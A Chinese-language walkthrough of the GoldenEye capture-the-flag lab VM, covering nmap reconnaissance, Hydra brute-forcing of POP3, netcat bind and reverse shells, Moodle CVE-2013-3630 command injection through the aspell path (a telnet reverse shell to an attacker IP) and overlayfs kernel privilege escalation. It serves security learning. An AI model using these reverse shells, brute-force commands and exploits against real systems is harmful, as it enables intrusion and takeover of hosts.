項目一:GoldenEye
#裝載靶場虛擬機(jī)
---將網(wǎng)卡的模式改為VMnet8的NAT模式(虛擬機(jī)的網(wǎng)卡存在三種模式)
---橋接:相當(dāng)于虛擬機(jī)和真機(jī)之間架了一座橋,虛擬機(jī)需要配置和真機(jī)在同一網(wǎng)段(vm0)
---NAT:虛擬系統(tǒng)借助 NAT(網(wǎng)絡(luò)地址轉(zhuǎn)換)功能,通過宿主機(jī)器所在的網(wǎng)絡(luò)來訪問公網(wǎng)(vm8)
---僅主機(jī):虛擬機(jī)和物理機(jī)在一個封閉的內(nèi)網(wǎng)網(wǎng)段中,不可以上網(wǎng)(vm1)

---查看IP地址(這里開了kail、Win2012、靶機(jī))

---NAT共享的都是192.168.180.0/24網(wǎng)段的IP,靶機(jī)沒有開機(jī)密碼不能查看

---Kail使用nmap探測同網(wǎng)段存活主機(jī)
#namp掃描的4大基本功能
---1.主機(jī)發(fā)現(xiàn) 2.端口掃描 3.端口版本偵測 4.操作系統(tǒng)偵測 5.漏洞掃描6.防火墻探測
---1.主機(jī)發(fā)現(xiàn):發(fā)送探測包到目標(biāo)主機(jī)(ping),如果收到回復(fù),那么說明目標(biāo)主機(jī)是開啟的(同網(wǎng)段才行),這里主要用 -sn 進(jìn)行Ping Scan,不進(jìn)行端口掃描
---參考博客:https://blog.csdn.net/qq_43001579/article/details/83591539

---我這里探測到同網(wǎng)段存在3臺主機(jī),獲取靶機(jī)IP:192.168.180.134
--- .1和.2一般是網(wǎng)關(guān)

----sP使用過ping掃描,然后將對ping掃描做出響應(yīng)的主機(jī),打印出來,并不做進(jìn)一步測試(視頻里面使用),sP和sn差不多,只是打印了MAC地址,這里沒有視頻的域名

---2.端口掃描(默認(rèn)情況下,Nmap會掃描1000個最有可能開放的TCP端口)
---端口掃描的六個狀態(tài)
---常用的端口對應(yīng)的服務(wù)
---端口掃描的分類,常用TCP SYN的半開放掃描
---SYN掃描的大致

---不同掃描類型的分類

---其它的一些端口掃描命令
---sS 表示使用TCP SYN方式掃描TCP端口;
---sU 表示掃描UDP端口;
---T4 表示時間級別配置4級;
--top-posts 200表示掃描最有可能開放的200個端口(TCP和UDP分別有200個端口)
---注意:sS需要root權(quán)限,全新的kail注冊root用戶
---探測靶機(jī),開放了25、80端口,但是只掃描了常見的端口(這里可以設(shè)置端口范圍)
---25 端口:SMTP 服務(wù)器所開放的端口,用于發(fā)送郵件;

---可以指定端口范圍,發(fā)現(xiàn)存在2個未知端口

---3.版本偵測
---3.1端口版本偵測(通過相應(yīng)的端口對應(yīng)相應(yīng)的服務(wù),根據(jù)服務(wù)指紋識別出相應(yīng)的版本):
---探測靶機(jī)的端口,發(fā)現(xiàn)存在http協(xié)議的網(wǎng)站,和ssl/pop3的郵件服務(wù)
---從中間件可以看出是Ubuntu系統(tǒng)

---4.操作系統(tǒng)版本偵測
---(TCP和UDP數(shù)據(jù)包發(fā)送到目標(biāo)機(jī)器上然后檢查結(jié)果和數(shù)據(jù)庫對照)
---常見的OS版本探測方法
---這里可以看出是Linux的3.2-4.9版本,結(jié)合中間件,可以發(fā)現(xiàn)發(fā)現(xiàn)是Ubuntu版本

---5.系統(tǒng)漏洞掃描(Nmap用于系統(tǒng)端口掃描,但nmap有一些插件,可以掃描系統(tǒng)漏洞)
---進(jìn)入nmap的腳本目錄:
---第一個Nmap插件庫是vulscan:git clone?https://github.com/scipag/vulscan.git
---第二個插件庫為Vulners:git clone?https://github.com/vulnersCom/nmap-vulners.git

---vulscan 本地存儲在預(yù)配置數(shù)據(jù)庫,可以ls?vulscan/*.csv查看
---但是默認(rèn)查詢信息太多,我們一般指定vulscan/exploitdb.csv數(shù)據(jù)庫
---為確保數(shù)據(jù)庫完全保持最新,我們可以使用 vulscan /utilities/updater/ 目錄中的 updateFiles.sh 腳本
---發(fā)現(xiàn)沒有文件更新

---使用Nmap-Vulners 進(jìn)行漏洞掃描
---注意:一定要加上-sV(但是我看不懂哪一個才是最重要的漏洞,猜測7.5是漏洞的重要性評分)

---采用vulscan掃描漏洞
---信息太多了,存在一些擾亂我們思路的漏洞信息

---指定數(shù)據(jù)庫查詢
---將VulScan和Vulners合并到一起進(jìn)行查詢
---發(fā)現(xiàn)不同端口存在的漏洞信息(但是這里我還是看不懂)

---6.探測防火墻
---防火墻的四種探測狀態(tài)
---利用-sA探測防火墻下端口的狀態(tài)(不能和-sS一起使用),這里是nmap不清楚端口狀態(tài)

---通過:nmap --traceroute
[ip]查看本地計算機(jī)到靶機(jī)之間經(jīng)過的網(wǎng)絡(luò)節(jié)點IP

#瀏覽器訪問80端口網(wǎng)站主頁,提示需要訪問/sev-home/進(jìn)行登陸

---查看網(wǎng)站主頁源碼,<script>標(biāo)簽定義客戶端腳本,比如 JavaScript
---HTML是一種標(biāo)記語言,沒有邏輯功能,做出來的是靜態(tài)的;
---JavaScript是一種腳本語言,具有邏輯功能,跟html結(jié)合可以處理一些動態(tài)的邏輯問題
---點擊terminal.js進(jìn)行查看
---獲得用戶名:Boris、Natalya;密碼:
InvincibleHack3r;
---利用BrupSuite的解碼功能,選擇HTML對密碼解碼(注意不要省略最后的;)
---密碼:InvincibleHack3r

---這里是將原文進(jìn)行了HTML轉(zhuǎn)義,例如:I對應(yīng)的是l

---登陸后提示存在PoP3(一般是PC機(jī)一旦郵件發(fā)送到MAC上,郵件服務(wù)器上的郵件將會被刪除。但POP3郵件服務(wù)器大都可以“只下載郵件,服務(wù)器端并不刪除”,也就是改進(jìn)的POP3協(xié)議。收信人不需要參與到與郵件服務(wù)器之間的郵件讀取過程)

---POP3協(xié)議,存在三種狀態(tài):
---當(dāng)客戶機(jī)與服務(wù)器建立連接,客戶機(jī)向服務(wù)器發(fā)送自己身份(這里指的是賬戶和密碼)并由服務(wù)器成功確認(rèn),即客戶端由認(rèn)可狀態(tài)轉(zhuǎn)入處理狀態(tài)
---在完成列出未讀郵件等相應(yīng)的操作后客戶端發(fā)出quit命令,退出處理狀態(tài)進(jìn)入更新狀態(tài)
---下載未閱讀過的郵件到計算機(jī)本地之后最后重返認(rèn)證狀態(tài)確認(rèn)身份后斷開與服務(wù)器的連接

---nmap普通的 -sS 的SYN掃描,不能探測端口情況
---利用-p1-65535指定端口( -p- 是掃描全部端口),-sV顯示版本,-O顯示操作系統(tǒng)
---nmap -T0 ip地址:速度最慢,準(zhǔn)確率高
---nmap -T5 ip地址: 速度最快,準(zhǔn)確率低(一般用快的)
---nmap -A ip地址:全面系統(tǒng)監(jiān)測

---掃描操作系統(tǒng)、端口信息

---更進(jìn)一步,采用啟用腳本進(jìn)行指定端口掃描,進(jìn)行全面掃描
---從ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server可以看出,POP3開啟了mail的郵件服務(wù)(為啥這么看我也不清楚)
#嘗試暴力破解POP3服務(wù)的密碼
---echo -e 將轉(zhuǎn)義后的內(nèi)容輸出到屏幕上(\是換行符,所以需要-e進(jìn)行轉(zhuǎn)義)
---效果如下

---利用九頭蛇爆破(Hydra)
---在kail中是自帶字典的,可以通過/usr/share/wordlists/dirb路徑進(jìn)行查看,當(dāng)然都是txt文件

---/usr/share/wordlists/fasttrack.txt

---九頭蛇爆破(這里55006發(fā)現(xiàn)爆破不了,直接使用55007):
---:-L 指定用戶名字典為dayu.txt, -P 指定密碼字典,-s 指定端口,指定pop3服務(wù)
---九頭蛇常用命令:
---九頭蛇可以爆破:FTP、SSH、3306(MYSQL)、3389(RDP)、POP3等協(xié)議
---獲取到用戶名:natalya,boris
---密碼:bird,secret1!
#nc(netcat)的使用
---nc(netcat):進(jìn)行TCP、UDP的連接和監(jiān)聽,可以輕易的建立任何連接
---基于shell腳本的HTTP客戶端或服務(wù)器、網(wǎng)絡(luò)守護(hù)進(jìn)程/程序測試、文件傳輸、反彈shell
---nc功能:1.端口掃描2.文件拷貝3.傳輸目錄4.在線聊天5.反彈shell
---1.端口掃描:-z 表示為zero,意思是掃描時不發(fā)送任何數(shù)據(jù)包;-v 即為詳細(xì)輸出;-n 不使用dns反向查詢ip地址域名(但是不常用)
---2.文件拷貝,假設(shè)我們需要傳輸一個文件test.txt
,通過主機(jī)A發(fā)送到主機(jī)B
---發(fā)送端:-l 監(jiān)聽端口,通過-l將主機(jī)A變?yōu)榉?wù)器,并重定向netcat的輸入test.txt
---當(dāng)任何主機(jī)成功連接到該端口,netcat就會發(fā)送test.txt
的文件內(nèi)容
---接受端:連接主機(jī)A的10000端口,并將輸出重定向到test.txt
---3.傳輸目錄:傳輸目錄和傳輸文件一樣,只不過將目錄打包為壓縮文件,再使用nc將壓縮文件傳輸過去,客戶端接收后將接收到的壓縮文件解壓
---傳輸目錄為test
,其下有文件test.txt
、test2.txt
由主機(jī)A傳輸?shù)街鳈C(jī)B
---發(fā)送方:-z 使用gzip指令壓縮test目錄;-c 創(chuàng)建新的壓縮文件;-v 顯示指令執(zhí)行過程;-f 指定需要壓縮的文件,即test
文件夾
---接受方:-z 使用gzip壓縮文件;-x 從壓縮文件解壓;-f 指定壓縮文件
---4.在線聊天:C/S結(jié)構(gòu),服務(wù)端監(jiān)聽本地端口,客戶端直接連接到服務(wù)器端口
----l 監(jiān)聽模式;-p 指定本地端口,在實際應(yīng)用中可以省略
---效果如下:

---5.1反彈shell之正向反彈:靶機(jī)作為服務(wù)器,監(jiān)聽本地端口,客戶端連接
----靶機(jī):l 監(jiān)聽模式;-vv 比-v更詳細(xì)的輸出;-p 設(shè)置本地端口;-e 綁定命令行:彈出bash類型的shell(Linux的靶機(jī))
---攻擊機(jī):
---5.1反彈shell之反向反彈:攻擊機(jī)監(jiān)聽端口,靶機(jī)連接端口
---靶機(jī):bash -i會創(chuàng)建一個交互式的命令行(bash);
---:&>將bash的標(biāo)準(zhǔn)輸出重定向至/dev/tcp/192.168.78.128/10000這個socket連接;
---:0>&1將標(biāo)準(zhǔn)輸入重定向至標(biāo)準(zhǔn)輸出,最終的結(jié)果就是標(biāo)準(zhǔn)輸入也被重定向到TCP連接中,因此輸入和輸出都可以在客戶端上進(jìn)行,通過TCP連接和bash進(jìn)行交互(這里有點迷惑)
---攻擊機(jī):
#根據(jù)用戶名和密碼利用nc登陸POP3協(xié)議的郵箱
---POP3協(xié)議的相關(guān)命令

---retr1~3:查看3封郵件的內(nèi)容,

---同樣的登陸natalya查看郵件:
---發(fā)現(xiàn)一個用戶名和密碼,以及一個內(nèi)部域名的登陸頁面
---這個域名視頻里Nmap可以掃描,但是我沒有掃描,因此,可以在/etc/hosts目錄下,修改DNS緩存,將域名和靶機(jī)的IP匹配到一起

---通過:gedit /etc/hosts,將severnaya-station.com和靶機(jī)IP關(guān)聯(lián)

---為什么要關(guān)聯(lián)呢?因為這里對referer進(jìn)行了監(jiān)測,必須通過指定域名+路徑才能訪問
---當(dāng)然也可以用BurpSuite抓包,修改Referer進(jìn)行訪問,本文是修改的DNS緩存

---Kail訪問,發(fā)現(xiàn)是MoodleCMS,可以在網(wǎng)上查找CMS的漏洞

---利用:xenia,RCP90ulez!進(jìn)行登陸
---結(jié)合之前的信息,可以發(fā)現(xiàn)是:Moodle2.2.3版本的CMS

---可以通過百度、谷歌搜索Moodle2.2.3CMS的版本漏洞
---也可以通過WhatWeb進(jìn)行指紋識別(應(yīng)用名稱(版本)、服務(wù)器軟件(版本)、編程語言(版本)、應(yīng)用框架(版本))

---在我的個人資料的消息中:收到了Doak博士的郵件(滲透的思想)

---查看郵件,發(fā)現(xiàn)一個賬戶:doak(很可能是黃金眼的管理員)

---繼續(xù)用九頭蛇爆破doak的POP3郵件:
hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.180.134 -s 55007 pop3

---爆破的效果如下:用戶名:doak,密碼:goat
---利用nc(netcat)連接監(jiān)聽靶機(jī)的55007端口,枚舉郵件內(nèi)容
---獲取用戶名:dr_doak,密碼:4England!

---利用dr_doak賬戶登陸黃金之眼,發(fā)現(xiàn)一個個人文件

---下載:根據(jù)文件提示路徑:http://192.168.180.134/dir007key/for-007.jpg
---這里提示admin的密碼在圖片里面

---Kail下載圖片:wget http://192.168.180.134/dir007key/for-007.jpg

#根據(jù)郵件提示,我們需要著重分析圖片,以下是分析圖片的工具(圖片隱寫讀?。?/p>
binwalk(路由逆向分析工具):分離圖片,看圖片里面是否包含了隱藏的另類文件

exiftool(圖蟲):分析圖片的信息,如大小、描述、修改時間等
---識別圖片信息的時候,發(fā)現(xiàn)Base64編碼:eFdpbnRlcjE5OTV4IQ==
---采用base64解密:xWinter1995x!

strings(識別動態(tài)庫版本指令):將圖片的信息還原成ASCII碼
---計算機(jī)是以二進(jìn)制存儲,將英文和中文通過GBK和UTF編碼成二進(jìn)制(這里也顯示了base64編碼的信息)

---利用admin和xWinter1995x!登陸黃金之眼
---可以看看管理員界面有沒有命令執(zhí)行,或者可以修改網(wǎng)站代碼的模板,進(jìn)而修改代碼寫入一句話后門

---代理搜索谷歌關(guān)于命令執(zhí)行的漏洞(百度搜索不了,這是國外的CMS)
---然后直接谷歌搜索:CVE-2013-3630

---在https://nvd.nist.gov/vuln/detail/CVE-2013-3630可以查看這個漏洞(掛代理)
---Moodle允許經(jīng)過身份驗證的用戶通過web界面定義拼寫檢查設(shè)置。
---用戶可以更新拼寫檢查機(jī)制以指向安裝了二進(jìn)制文件的系統(tǒng)。通過將拼寫檢查器的路徑更新為任意命令,攻擊者可以運(yùn)行拼寫檢查請求時web應(yīng)用程序上下文中的任意命令。
---此模塊還允許攻擊者利用另一個權(quán)限提升漏洞。使用引用的XSS vuln,一個未經(jīng)授權(quán)的身份驗證用戶可以竊取一個管理員sesskey并使用它將權(quán)限升級為管理員權(quán)限,從而允許模塊彈出一個shell作為以前未經(jīng)授權(quán)的身份驗證用戶。
---該模塊已針對Moodle版本2.5.2和2.2.3進(jìn)行了測試

#利用msf進(jìn)行漏洞利用(The Metasploit Framework)
---在進(jìn)入之前,可以先更新MSF的漏洞庫
---msfconsole進(jìn)入MSF攻擊頁面,版本:6.3.19
---1.Exploits:系統(tǒng)漏洞攻擊模塊,此模塊對應(yīng)每一個具體漏洞的攻擊方法(主動,被動)
---2.Auxiliary:執(zhí)行信息收集,掃描,嗅探,指紋識別,口令猜測和Dos攻擊等功能
---3.Post:后期滲透模塊,在取得目標(biāo)系統(tǒng)遠(yuǎn)程控制權(quán)后嗎,進(jìn)行一系列的后滲透攻擊動作,如獲取敏感信息,跳板攻擊等
---4.Payloads:成功exploit之后,真正在目標(biāo)系統(tǒng)執(zhí)行的代碼和命令(注意和POC的區(qū)別)
---5.encoders:對payload進(jìn)行加密,躲避antiviru檢查的模塊
---6.nops:提高payload穩(wěn)定性,在構(gòu)造惡意數(shù)據(jù)緩沖區(qū)時,要在真正shellcode之前添加段空指令區(qū),這樣當(dāng)觸發(fā)滲透攻擊后跳轉(zhuǎn)執(zhí)行shellcode時,有一個較大的安全著陸區(qū),從而避免受到內(nèi)存地址隨機(jī)化,返回地址計算偏差等原因造成的shellcode執(zhí)行失敗

---msf的根目錄是/usr/share/metasploit-framework/,默認(rèn)存放模塊目錄如下

---Exp 和 PoC 都是可執(zhí)行的漏洞利用腳本/程序 ,區(qū)別主要在于是否惡意
---exploits可以看到針對各種漏洞的分類,例如:Windows、unix、android、osx的exploit
---payloads可以看到三種payload類型
---Single (獨立載荷): 類似我們常說的大馬,它不依賴任何環(huán)境或組件,只要它成功上傳,它就可以實現(xiàn)它所有的功能。
---Stagers(傳輸器載荷):目標(biāo)計算機(jī)內(nèi)存有限時,先傳輸一個較小的payload用于建立連接。stager有點類似我們常說的一句話,它只是用于建立連接(一種常見的Stager
Payload就是reverse_tcp,它可以讓目標(biāo)系統(tǒng)與攻擊者建立一條tcp連接,讓目標(biāo)系統(tǒng)主動連接我們的端口(反向連接)。另一種常見的是bind_tcp,它可以讓目標(biāo)系統(tǒng)開啟一個tcp監(jiān)聽器,而攻擊者隨時可以與目標(biāo)系統(tǒng)進(jìn)行通信(正向連接))
---Stages(傳輸體載荷) :利用stagers建立連接下載后續(xù)payload。stages-payload更傾向于底層系統(tǒng)命令,換句話說,上傳大馬拿到webshell仍需要進(jìn)一步提權(quán),依然是要回歸底層,如果從一開始就是底層,那還需要webshell嗎?Stager、Stages都有多種類型,適用于不同場景,Shellcode是payload的一種,由于其建立正向/反向shell而得名

---Single Payload 的格式為:<>/ 如:windows/powershell_bind_tcp
---Stager/Stage Payload的格式為:/ / 如:windows/meterpreter/reverse_tcp
#Stager中幾種常見的payload:
---正向連接使用:攻擊機(jī)在內(nèi)網(wǎng)環(huán)境,靶機(jī)是外網(wǎng)環(huán)境,由于靶機(jī)無法主動連接到我們的主機(jī),所以就必須我們主動連接被攻擊機(jī)了
---缺點:靶機(jī)開了防火墻,只允許訪問指定的端口,比如只開放80端口。那么,只能正向連接80端口,這里很可能失敗,因為80端口上的流量太多了
---反向連接使用:主機(jī)和靶機(jī)都在外網(wǎng)/內(nèi)網(wǎng),靶機(jī)能主動連接到主機(jī)。
---即使靶機(jī)開了防火墻也沒事,防火墻只阻止進(jìn)入靶機(jī)的流量,而不阻止靶機(jī)向外連接流量
---反向連接80(http)和443(https)端口使用:
---靶機(jī)能主動連接到主機(jī),但是靶機(jī)防火墻設(shè)置的特別嚴(yán)格,就連靶機(jī)訪問外部網(wǎng)絡(luò)的流量也進(jìn)行嚴(yán)格的限制,只允許靶機(jī)80或443端口與外部通信
#MSF的基本架構(gòu)
---Rex:實際來講并不屬于MSF,如HTTP/TELNET/SSH等連接功能嚴(yán)格來講是屬于操作系統(tǒng)自帶的功能,MSF只是去以一個用戶的身份去調(diào)用它而已
---ramwork-core:Core庫是真正屬于MSF的最底層的庫,其中包含的都是MSF框架的底層功能,如數(shù)據(jù)管理,session管理,插件管理這些核心底層功能
---framewok-base:Base庫是在針對Core庫進(jìn)行進(jìn)一步人性化的拓展的庫,算作一個中間層,為開發(fā)者提供API以輕松調(diào)用MSF的功能,我們使用的各種插件,console接口,還有UI界面,以及自己開發(fā)的插件,都是在base庫的基礎(chǔ)上進(jìn)一步拓展的
---Plugin插件:指的是成熟的工具/軟件,如各種成熟的掃描器,老牌掃描廠商的存在,已經(jīng)不需要MSF再去開發(fā)新的插件啦,直接調(diào)用就好(例如調(diào)用xray)

---MSF的相關(guān)命令
---搜索exp,我這里搜索有4個漏洞,分別是:管理員命令上傳、身份證拼寫代碼執(zhí)行、路徑授權(quán)遠(yuǎn)程代碼執(zhí)行、教師注冊特權(quán)升級(視頻里面是2013-10-30)
---Moodle 通過 2.5.2 允許遠(yuǎn)程身份驗證,管理員通過配置 aspell 路徑名,然后在 TinyMCE 編輯器中觸發(fā)拼寫檢查操作,來執(zhí)行任意程序(需要管理員登陸才能促發(fā)漏洞)

---show options查看exploit需要的內(nèi)容:
---密碼、靶機(jī)IP或者域名、靶機(jī)端口、網(wǎng)站的目錄、用戶名

---配置exploit
---顯示如下

---對方會回彈一個shell到本機(jī),所以需要設(shè)置本機(jī)的IP和監(jiān)聽回彈shell的端口
---設(shè)置回彈shell的類型:基于Unix的CMD的窗口
---注意:exploit是利用漏洞的一個過程和方法,最終的目的是為了執(zhí)行payload(攻擊代碼)
---設(shè)置如下,監(jiān)聽本機(jī)4444端口的cmd,

---但是發(fā)現(xiàn)shell反彈失敗,原因是:cmd/unix/reverse的這個payload是執(zhí)行的powershell的命令

---在網(wǎng)站的:Setting > Plugins > Text editors > TinyMCE HTML Editors中
---將's_editor_tinymce_spellengine' => 'PSpellShell',

---在exploit-db搜索到相關(guān)遠(yuǎn)程命令執(zhí)行漏洞CVE-2013-3630的exp
---地址:https://www.exploit-db.com/exploits/29324
---意思是在POST的時候,需要將拼寫檢查檢查google spell換成PSpellSHell
---原因是目標(biāo)主機(jī)上不存在GCC編譯,只能有CC編譯,所以需要把Google Spell改成PSpellShell(編譯器:將人編寫的程序語言,翻譯成機(jī)器執(zhí)行的二進(jìn)制機(jī)器語言)
---CC的全稱為“C Compiler”,它是Unix系統(tǒng)用來編譯C語言的編譯器(CC只在Unix和類Unix操作系統(tǒng)上使用,而GCC可以在各種操作系統(tǒng)上使用)
---GCC全稱是“Gnu Compiler Collection”,是很多編譯器的集合,比如C、?C++、Objective-C、Fortran和Java編譯器等。當(dāng)調(diào)用gcc命令時,GCC編譯器會根據(jù)擴(kuò)展名自動識別并調(diào)用對應(yīng)的編譯器

---修改之后,再次run,發(fā)現(xiàn)建立了會話(但是這是不正常的交互shell,我們需要把它變成正常的交互shell),而且shell的權(quán)限也都WebShell的權(quán)限,需要進(jìn)行提權(quán)

---查看是否裝了Python:which python
---然后進(jìn)入/tmp目錄進(jìn)行提權(quán)

---在網(wǎng)站的"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell" 也可以進(jìn)行命令執(zhí)行
sh -c '(sleep 3990|telnet 192.168.180.133 4444|while : ; do sh && break; done 2>&1|telnet 192.168.180.133 4444 >/dev/null 2>&1 &)'
---sh -c是Linux的命令:讓 bash 將一個字串作為完整的命令來執(zhí)行

---采用nc監(jiān)聽本地端口:-l監(jiān)聽端口;-v詳細(xì)輸出;-p指定本地端口

---利用moodle的漏洞進(jìn)行,利用命令執(zhí)行(當(dāng)然也可以使用剛剛的WebShell)
---python -c 來執(zhí)行
---將后面的代碼梳理分析下
---os.dup2(fd1, fd2) :傳入兩個文件描述符,fd1和fd2(fd1是必須存在的)
---如果fd2存在,就關(guān)閉fd2,然后將fd1代表的文件(可以想象成是P_fd1指針)強(qiáng)行復(fù)制給fd2
---fd2這個文件描述符不會發(fā)生變化,但是fd2指向的文件就變成了fd1指向的文件
---fileno() :返回一個整型的文件描述符(在linux中對于文件的操作根據(jù)文件描述符決定,文件描述符是一個大于等于3的整數(shù),0表示標(biāo)準(zhǔn)輸入stdin,1表示標(biāo)準(zhǔn)輸出stdout,2表示標(biāo)準(zhǔn)錯誤輸出stder)
---當(dāng)一個程序剛啟動時候,0是標(biāo)準(zhǔn)輸入,1是標(biāo)準(zhǔn)輸出,2是標(biāo)準(zhǔn)錯誤。
----此時去打開一個新文件,文件描述符會是3。POSIX標(biāo)準(zhǔn)要求每次打開文件時(含socket)必須使用當(dāng)前進(jìn)程中最小可用的文件描述符號
---os.dup2(s.fileno(), 0) 是將 s 這個文件對象的文件描述符,復(fù)制到標(biāo)準(zhǔn)輸入的文件描述符 0
---這樣效果是將標(biāo)準(zhǔn)輸入重定向到 s 這個文件上,之后所有的輸入操作都會從 s 中讀取數(shù)據(jù)
------subprocess庫:允許生成新的進(jìn)程,連接到它們的input/output/error 管道,并獲取它們的返回(狀態(tài))碼
---call():執(zhí)行指定的命令,返回命令執(zhí)行的狀態(tài)碼(命令的執(zhí)行結(jié)果)
---/bash是shell的一種(/bin/sh是shell腳本的絕對路徑),是linux下最常用的一種shell;傳入?yún)?shù)“-i”,使bash以交互模式啟動
---假設(shè)存在文件 test.txt,os.dup2() 將 test.txt 重定向到標(biāo)準(zhǔn)輸入,然后input() 讀取輸入
---在Web里面修改aspellpath并且保存

---然后在:我的個人資料>博客>添加新條目里面,
---隨意輸入內(nèi)容,然后點擊"Toggle Spellchecker"之后就會反彈到shell

---監(jiān)聽的端口,接受到了反彈的shell,但是這是一個偽shell(不具備完全交互的shell,可能會在使用中被掛起,還可能會因操作失誤如摁下 “Ctrl-C”鍵直接終止整個shell進(jìn)程)
---需要執(zhí)行tty(teletypewriters),因為獲得的權(quán)限無框架:TTY通常用來描述一個連接到終端設(shè)備的進(jìn)程或會話。TTY 可以在本地終端、SSH 連接、串口連接等各種情況下使用,它提供了一個交互式shell 界面,讓用戶可以在終端上執(zhí)行命令和程序,查看輸出,并進(jìn)行其他操作(TTY可以執(zhí)行sudo命令)

---利用python執(zhí)行代碼:python -c 'import pty; pty.spawn("/bin/bash")'
---之前MSF建立的會話,也需要使用這個代碼來將偽shell轉(zhuǎn)換為TTY

---除了Python的pty模塊可以開啟TTY,還有下面2個方法開啟TTY
---1.使用socat:socat是netcat的替代工具,可以說是nc的增強(qiáng)版??梢允褂?strong>Socat通過TCP連接傳遞完整的TTY
---2.魔術(shù)般的Netcat升級:
---在偽shell生成的時候,使用按Ctrl-Z鍵將shell調(diào)至后臺運(yùn)行

---檢查當(dāng)前終端(echo $TREM)和STTY信息(stty -a)
---所需的信息是TERM類型(“xterm-256color”)和當(dāng)前TTY的大小(38行;116列)

---將當(dāng)前STTY設(shè)置為raw(stty raw -echo),請確保shell仍在后臺運(yùn)行,下一個shell將重新打開反向shell,但格式化將關(guān)閉。最后,reset重新初始化終端
---注意:這里沒有再次鍵入nc命令,實際上進(jìn)入到了fg(前臺),但這并沒有被打印出來

---設(shè)置shell,終端類型、stty大小來匹配當(dāng)前的Kali窗口(上面收集的信息)
$ export SHELL=bash;$ export TERM=xterm256-color;$ stty rows 38 columns 116

#內(nèi)核提取
---通過uname -a查看OS版本:Linux ubuntu 3.13.0

---谷歌搜索關(guān)鍵詞:Linux ubuntu 3.13.0 exploit
---其實主要是看:https://www.exploit-db.com/exploits/37292這個exp的國外數(shù)據(jù)庫
---漏洞名稱:CVE:2015-1328,exploit-db數(shù)據(jù)庫編號(EDB-ID):37292
?---這個腳本有個點需要注意:exploit里面是gcc編譯的,而靶機(jī)沒有g(shù)cc編譯器

---TTY里面測試靶機(jī)是否安裝gcc:gcc -v查看gcc版本,發(fā)現(xiàn)沒有
---which cc發(fā)現(xiàn)靶機(jī)安裝了cc編譯器;which gcc沒有顯示gcc的安裝路徑

#關(guān)于CVE:2015-1328(底層溢出):
----overlayfs文件系統(tǒng)是疊合式文件系統(tǒng),實現(xiàn)了在底層文件系統(tǒng)上疊加另一個文件系統(tǒng)
---Linux 內(nèi)核3.18開始已經(jīng)加入了對overlayfs的支持。Ubuntu Linux在更早版本就加入該支持
---Ubuntu Linux內(nèi)核overlayfs文件系統(tǒng)中存在權(quán)限檢查漏洞,普通用戶可獲取管理員權(quán)限
---此漏洞源于overlayfs文件系統(tǒng)在上層文件系統(tǒng)目錄中創(chuàng)建新文件時沒有正確檢查文件權(quán)限
---它只檢查了被修改文件屬主是否有權(quán)限在上層文件系統(tǒng)目錄寫入,導(dǎo)致當(dāng)從底層文件系統(tǒng)目錄中拷貝一個文件到上層文件系統(tǒng)目錄時,文件屬性也隨同拷貝過去
---如果Linux內(nèi)核設(shè)置了CONFIG_USER_NS=y和FS_USERNS_MOUNT標(biāo)志,將允許一個普通用戶在低權(quán)限用戶命名空間中mout一個overlayfs文件系統(tǒng),本地普通用戶可以利用該漏洞在敏感系統(tǒng)目錄中創(chuàng)建新文件或讀取敏感文件內(nèi)容,從而提升到管理員權(quán)限
#在Kail里面的漏洞庫查找exp:
---“searchsploit”是一個用于Exploit-DB的命令行搜索工具,可以幫助我們查找滲透模塊
---Exploit-DB是一個漏洞庫,Kali Linux中保存了一個該漏洞庫的拷貝,利用上面提到的命令就可以查找需要的滲透模塊,在沒有網(wǎng)絡(luò)的情況下也可以使用
---注意:exploit-db數(shù)據(jù)庫在/usr/share/exploitdb/exploits/目錄下
---這里EDB-ID:37292的路徑:/usr/share/exploitdb/exploits/linux/local/37292.c

---將exp拷貝到用戶目錄:cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/huangbo

---利用gedit 37292.c打開C語言文件,將gcc改為cc并保存

---在/home/huangbo目錄下開啟http服務(wù)器
---注意,原來Python2.7的開啟服務(wù)器的命令在Python3中改為:python -m http.server 8081

---靶機(jī)下載該文件:wget http://192.168.180.13:8081/37292.c?

---將exp復(fù)制到/tmp 目錄,因為提取一般在/tmp目錄下
---注意:其實在wget的時候,就應(yīng)該將exp下載到/tmp目錄下,這里多次一舉了

---利用cc編譯器,將exp編譯成Linux的可執(zhí)行文件(如果是Windows,VC8將hello.cpp編譯成hello.exe的可執(zhí)行文件),-o是指定可執(zhí)行文件的名稱

---賦予文件可執(zhí)行權(quán)限,然后執(zhí)行編譯后的exp,發(fā)現(xiàn)提到了root權(quán)限

---進(jìn)入root目錄下查找文件,普通的ls沒有發(fā)現(xiàn)文件,可能存在隱藏文件
---:-a 列出目錄下的一切文件,包含以 . 最初的隱含文件;-l 列出文件的具體權(quán)限信息

#知識點:
---1.nmap的功能:主機(jī)發(fā)現(xiàn) 、端口掃描 、端口版本偵測 、操作系統(tǒng)偵測 、漏洞掃描、防火墻探測
---2.HTML源碼和Javascript的關(guān)系,兩者均可能存在信息
---3.HTML編碼和Base64編碼
---4.POP3服務(wù)和SMTP郵件服務(wù)的大致內(nèi)容
---5.hydr爆破各種服務(wù)的密碼,以及Kail的自帶字典的路徑
---6.NC的用途:端口掃描、文件拷貝、傳輸目錄、聊天、反彈正向和反向Shell、查看POP3郵件服務(wù)的內(nèi)容
---7.用戶名和對應(yīng)密碼的收集(可以做成爆破字典)
---8.瀏覽器訪問的Referer監(jiān)測和DNS緩存記錄(本地/etc/hosts)的修改
---9.WhatWeb的使用(也可以通過Chrome的Wappalyzer插件信息搜集得到CMS版本)
---10、圖片的隱寫的識別:binwalk(路由逆向分析工具,查看是否隱藏文件)、exiftool(圖蟲,查看文件的詳細(xì)信息)、strings(識別動態(tài)庫版本指令,將圖片還原成GBK編碼)
---11.MoodleCMS的大致情況,2個遠(yuǎn)程命令執(zhí)行的漏洞(Google搜索CMS的漏洞),分別是?CVE-2013-3630 漏洞可利用,29324和命令執(zhí)行
---12.MSF的基本使用,六大基本模塊:exploits、payload、auxiliary、encoders、nops
---13.exploits、payload以及和POC之間的關(guān)系
---14.三種類型的payload:singles(獨立載荷)、stagers(傳輸器載荷)、stage(傳輸體載荷)
---15.GCC編譯器和CC編譯器的區(qū)別
---16.反彈shell的原理,Python反彈shell的原理
---17.偽Shell轉(zhuǎn)變TTY的方式:Python的pty庫、socat(netcat的提升版)、TREM和stty修改
